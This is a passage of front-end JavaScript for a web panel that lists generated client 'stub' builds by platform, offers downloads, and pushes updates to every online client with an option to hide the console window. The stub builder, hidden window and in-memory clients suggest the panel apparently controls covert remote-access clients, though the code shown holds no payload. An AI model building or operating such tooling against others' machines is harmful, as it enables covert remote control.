deleteBtn.className = "px-3 py-1.5 bg-red-500/20 hover:bg-red-500/30 text-red-400 rounded-lg transition-colors flex items-center gap-2 text-sm"; deleteBtn.title = "Delete build"; const deleteIcon = document.createElement("i"); deleteIcon.className = "fa-solid fa-trash"; const deleteText = document.createElement("span"); deleteText.textContent = "Delete"; deleteBtn.appendChild(deleteIcon); deleteBtn.appendChild(deleteText); deleteBtn.addEventListener("click", () => deleteBuild(build.id)); right.appendChild(timerWrap); right.appendChild(deleteBtn); header.appendChild(left); header.appendChild(right); const filesContainer = document.createElement("div"); filesContainer.id = `files-${build.id}`; filesContainer.className = "space-y-2"; buildContainer.appendChild(header); buildContainer.appendChild(filesContainer); buildFilesDiv.appendChild(buildContainer); showBuildFilesForContainer(build, `files-${build.id}`, `timer-${build.id}`); } function showBuildFilesForContainer(build, containerId, timerId) { const container = document.getElementById(containerId); const timerEl = document.getElementById(timerId); if (!container || !timerEl) return; build.files.forEach((file) => { const fileDiv = document.createElement("div"); fileDiv.className = "flex items-center justify-between bg-gray-700/50 p-4 rounded-lg hover:bg-gray-700 transition-colors"; const fileMeta = document.createElement("div"); fileMeta.className = "flex items-center gap-3"; const fileIcon = document.createElement("i"); fileIcon.className = "fa-solid fa-file text-blue-400"; const fileText = document.createElement("div"); const fileName = document.createElement("div"); fileName.className = "text-white font-medium"; fileName.textContent = file.filename; const filePlatform = document.createElement("div"); filePlatform.className = "text-sm text-gray-400"; const versionValue = formatStubVersion(file.version); const platformText = document.createElement("span"); platformText.textContent = `${file.platform} | `; const versionText = document.createElement("span"); versionText.className = isVersionMismatch(versionValue) ? "server-version-number-mismatch" : "server-version-number"; versionText.textContent = versionValue === "unknown (legacy build)" ? versionValue : `v${versionValue}`; filePlatform.appendChild(platformText); filePlatform.appendChild(versionText); fileText.appendChild(fileName); fileText.appendChild(filePlatform); fileMeta.appendChild(fileIcon); fileMeta.appendChild(fileText); const download = document.createElement("a"); download.href = `/api/build/download/${encodeURIComponent(file.filename)}`; download.download = ""; download.className = "px-4 py-2 bg-blue-500 hover:bg-blue-600 text-white rounded-lg transition-colors flex items-center gap-2"; const downloadIcon = document.createElement("i"); downloadIcon.className = "fa-solid fa-download"; const downloadText = document.createElement("span"); downloadText.textContent = "Download"; download.appendChild(downloadIcon); download.appendChild(downloadText); fileDiv.appendChild(fileMeta); fileDiv.appendChild(download); container.appendChild(fileDiv); }); if (build.expiresAt) { updateExpirationTimer(timerEl, build.expiresAt); setInterval(() => updateExpirationTimer(timerEl, build.expiresAt), 60000); } } const buildUpdateAllBtn = document.getElementById("build-update-all-btn"); const updateAllModal = document.getElementById("update-all-modal"); const updateAllModalBody = document.getElementById("update-all-modal-body"); const updateAllCancel = document.getElementById("update-all-cancel"); const updateAllConfirm = document.getElementById("update-all-confirm"); let pendingUpdateAll = false; let pendingUpdateHideWindow = false; function showUpdateAllModal() { if (!updateAllModal) return; updateAllModal.classList.remove("hidden"); updateAllModal.classList.add("flex"); } function hideUpdateAllModal() { if (!updateAllModal) return; updateAllModal.classList.remove("flex"); updateAllModal.classList.add("hidden"); if (updateAllConfirm) { updateAllConfirm.innerHTML = ' Build & Update'; updateAllConfirm.disabled = false; } if (updateAllCancel) { updateAllCancel.textContent = "Cancel"; } } if (updateAllCancel) { updateAllCancel.addEventListener("click", hideUpdateAllModal); } if (updateAllModal) { updateAllModal.addEventListener("click", (e) => { if (e.target === updateAllModal) hideUpdateAllModal(); }); } if (buildUpdateAllBtn) { buildUpdateAllBtn.addEventListener("click", async () => { if (isBuilding) return; const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked'); const platforms = Array.from(platformCheckboxes).map((cb) => cb.value); if (platforms.length === 0) { alert("Please select at least one platform to build"); return; } showUpdateAllModal(); updateAllConfirm.disabled = true; updateAllModalBody.innerHTML = '

Checking online clients...

'; try { const res = await fetch("/api/build/update-eligible", { method: "POST", headers: { "Content-Type": "application/json" }, credentials: "include", body: JSON.stringify({ platforms }), }); if (!res.ok) { const data = await res.json().catch(() => ({})); updateAllModalBody.innerHTML = `

${data.error || "Failed to check eligible clients"}

`; return; } const data = await res.json(); let html = ""; html += `

${data.eligible} client(s) will receive the update after build.

`; html += '
'; html += `

${data.totalOnline} total online client(s)

`; if (data.skippedInMemory > 0) { html += `

${data.skippedInMemory} client(s) will be skipped (running in-memory)

`; } if (data.skippedNoMatch > 0) { html += `

${data.skippedNoMatch} client(s) will be skipped (no matching platform)

`; } html += "
"; if (data.eligible === 0 && data.totalOnline === 0) { html += '

No clients are currently online. The build will still run but no updates will be sent.

'; } html += '

This will build the client and push the update to all eligible clients. Clients will restart automatically.

'; updateAllConfirm.disabled = false; updateAllModalBody.innerHTML = html; } catch (err) { updateAllModalBody.innerHTML = `

Error: ${err.message}

`; } }); } if (updateAllConfirm) { updateAllConfirm.addEventListener("click", () => { hideUpdateAllModal(); pendingUpdateAll = true; pendingUpdateHideWindow = !!form.querySelector('input[name="hide-console"]')?.checked; form.requestSubmit(); }); } async function pushUpdateToAllClients(buildId, hideWindow) { addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info"); try { const res = await fetch("/api/build/update-all", { method: "POST", headers: { "Content-Type": "application/json" }, credentials: "include", body: JSON.stringify({ buildId, hideWindow }), }); const data = await res.json().catch(() => ({})); if (!res.ok) { addBuildOutput(`Update failed: ${data.error || "Unknown error"}\n`, "error"); return; } const succeeded = data.successCount || 0; const total = data.totalOnline || 0; const failed = (data.results || []).filter((r) => !r.ok); const inMemoryCount = failed.filter((r) => r.reason === "in_memory").length; const noMatchCount = failed.filter((r) => r.reason === "no_matching_build").length; addBuildOutput(`Update sent to ${succeeded} of ${total} online client(s)\n`, "success"); if (inMemoryCount > 0) { addBuildOutput(` ${inMemoryCount} client(s) skipped (running in-memory)\n`, "warn"); } if (noMatchCount > 0) { addBuildOutput(` ${noMatchCount} client(s) skipped (no matching build)\n`, "warn"); } const otherFailed = failed.filter((r) => r.reason !== "in_memory" && r.reason !== "no_matching_build"); if (otherFailed.length > 0) { addBuildOutput(` ${otherFailed.length} client(s) failed for other reasons\n`, "warn"); } } catch (err) { addBuildOutput(`Update error: ${err.message}\n`, "error"); } }